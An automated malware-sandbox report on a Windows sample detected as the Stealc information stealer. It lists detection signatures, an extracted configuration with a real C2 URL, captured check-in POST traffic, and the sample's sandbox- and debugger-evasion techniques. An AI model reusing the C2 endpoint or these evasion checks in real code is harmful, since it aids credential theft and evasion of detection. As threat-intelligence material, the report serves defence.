Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532364
MD5:	fb664593a62eba5ceb677e19aedc1673
SHA1:	aee5527070492aa7d1e7c93a3a806ba0ef8fab8c
SHA256:	0d7cf91d5f474164b23946086b63538ccb1e4bf612e45e9556b2021574b26731
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7260 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FB664593A62EBA5CEB677E19AEDC1673)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1718963736.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7260	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7260	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.680000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T02:44:05.656962+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/ws	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.680000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/e2b1563c6670f193.phpL	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php8	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpx	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php$	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpP	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 54%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0068C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00687240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00687240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00689AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00689AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00689B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00689B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00698EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00698EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00694910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00694910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0068DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0068E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00694570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00694570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0068ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0068BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0068DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006816D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00693EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00693EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0068F6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 41 46 34 31 37 35 44 39 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="hwid"6FAF4175D9B61709341086------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="build"doma------DAFIEHIEGDHIDGDGHDHJ--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00684880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00684880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 41 46 34 31 37 35 44 39 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="hwid"6FAF4175D9B61709341086------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="build"doma------DAFIEHIEGDHIDGDGHDHJ--

Source: file.exe, 00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/6122658-3693405117-2476756634-1002e
Source: file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Lxcq
Source: file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/UxZq
Source: file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/cx
Source: file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767079494.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php$
Source: file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8
Source: file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpL
Source: file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpP
Source: file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpRx
Source: file.exe, 00000000.00000002.1767079494.00000000014B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpx
Source: file.exe, 00000000.00000002.1767079494.00000000014C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1767079494.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37o

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB	0_2_00A4A8BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A408E2	0_2_00A408E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A2F8D4	0_2_00A2F8D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097B017	0_2_0097B017
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A041AC	0_2_00A041AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A473D4	0_2_00A473D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F131E	0_2_008F131E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4C35C	0_2_00A4C35C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4DCEF	0_2_00A4DCEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00959DF4	0_2_00959DF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AFE3E	0_2_009AFE3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A48E64	0_2_00A48E64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A2367B	0_2_00A2367B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3EF59	0_2_00A3EF59

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 006845C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: miiyolpi ZLIB complexity 0.9950571145672333

Source: file.exe, 00000000.00000003.1718963736.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00699600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00699600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00693720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00693720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\HT44LF9U.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 54%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1812992 > 1048576

Source: file.exe

Static PE information: Raw size of miiyolpi is bigger than: 0x100000 < 0x194600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.680000.0.unpack :EW;.rsrc :W;.idata :W; :EW;miiyolpi:EW;gkepzjad:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;miiyolpi:EW;gkepzjad:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00699860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00699860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c06bb should be: 0x1c66e6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: miiyolpi
Source: file.exe	Static PE information: section name: gkepzjad
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B408B7 push ebx; mov dword ptr [esp], ecx	0_2_00B4097C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push ebx; mov dword ptr [esp], 3506ED5Dh	0_2_00A4A902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push ebx; mov dword ptr [esp], eax	0_2_00A4A95F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push edx; mov dword ptr [esp], eax	0_2_00A4A97F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push esi; mov dword ptr [esp], 003CA3FBh	0_2_00A4A9FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push edx; mov dword ptr [esp], 7FF74867h	0_2_00A4AB45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push ebx; mov dword ptr [esp], eax	0_2_00A4AB54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 21C10E3Ch; mov dword ptr [esp], ebx	0_2_00A4AC1F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push eax; mov dword ptr [esp], esi	0_2_00A4ACCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 279D721Bh; mov dword ptr [esp], eax	0_2_00A4ACE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push ecx; mov dword ptr [esp], ebp	0_2_00A4AD5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push ecx; mov dword ptr [esp], eax	0_2_00A4AD85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 4734A2C6h; mov dword ptr [esp], edi	0_2_00A4AE22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 4086EB83h; mov dword ptr [esp], ebx	0_2_00A4AE56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push eax; mov dword ptr [esp], ebp	0_2_00A4AEB2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 14FA2791h; mov dword ptr [esp], ecx	0_2_00A4AEBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push ecx; mov dword ptr [esp], 02D04A04h	0_2_00A4AF2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push eax; mov dword ptr [esp], edi	0_2_00A4AF72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push eax; mov dword ptr [esp], esi	0_2_00A4AF8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 6A138685h; mov dword ptr [esp], eax	0_2_00A4AFA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push esi; mov dword ptr [esp], 6730ED42h	0_2_00A4B01E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push ebx; mov dword ptr [esp], edx	0_2_00A4B041
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push eax; mov dword ptr [esp], edi	0_2_00A4B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push edi; mov dword ptr [esp], esp	0_2_00A4B05D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 08980700h; mov dword ptr [esp], eax	0_2_00A4B0B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 7B206CA7h; mov dword ptr [esp], esp	0_2_00A4B139
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 1FA9E2D8h; mov dword ptr [esp], ecx	0_2_00A4B2A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push eax; mov dword ptr [esp], 5E33C0C0h	0_2_00A4B2E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 3830FE77h; mov dword ptr [esp], eax	0_2_00A4B314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push 310DBC74h; mov dword ptr [esp], ecx	0_2_00A4B33D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4A8BB push ebp; mov dword ptr [esp], eax	0_2_00A4B368

Source: file.exe

Static PE information: section name: miiyolpi entropy: 7.954024820130496

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00699860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13575

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55168 second address: A5516E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5516E second address: A55173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48963 second address: A48967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48967 second address: A4896B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
